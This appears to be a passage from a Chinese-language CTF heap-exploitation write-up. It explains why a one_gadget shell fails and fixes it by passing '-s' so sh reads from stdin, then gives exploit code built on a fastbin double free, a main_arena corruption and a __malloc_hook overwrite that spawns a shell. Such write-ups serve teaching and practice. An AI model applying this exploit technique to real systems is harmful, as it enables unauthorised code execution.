就是说把其中HHHHHHHH:GGGGGGGG这个当作文件来传入sh了
这个位置正好是调用sh的arg[1],解决办法的话,我们可以将其中的GGGGGGGG改为-s\0
如许就相当于是调用了sh -s,
看一下bash的手册
If the -s option is present, or if no arguments remain after option processing, then commands are read from the standard input. This option allows the positional parameters to be set when invoking an interactive shell or when reading input through a pipe.所以加上-s之后调用时就不会从文件定位而是从stdin输入了;
如许就可以拿到一个shell权限
最终执行的流程
one_gadget = 0xe1fa1# one_gadget = 0xe1fad# one_gadget = 0xc4dbf# Request two 0x50-sized chunks.chunk_A = malloc(0x48, "A"*8)chunk_B = malloc(0x48, "B"*8)# Free the first chunk, then the second.free(chunk_A)free(chunk_B)free(chunk_A)malloc(0x48,p64(0x61))malloc(0x48,"C"*8)malloc(0x48,"D"*8)chunk_C = malloc(0x58,"E"*8)chunk_D = malloc(0x58,"F"*8)free(chunk_C)free(chunk_D)free(chunk_C)malloc(0x58,p64(libc.sym.main_arena+32))malloc(0x58,"-s\0")# malloc(0x58,"G"*8)malloc(0x58,"H"*8) malloc(0x58,b"Y"*48+p64(libc.sym.__malloc_hook-36))malloc(0x28,b"Z"*20+p64(libc.address+one_gadget))malloc(1,'')执行脚本效果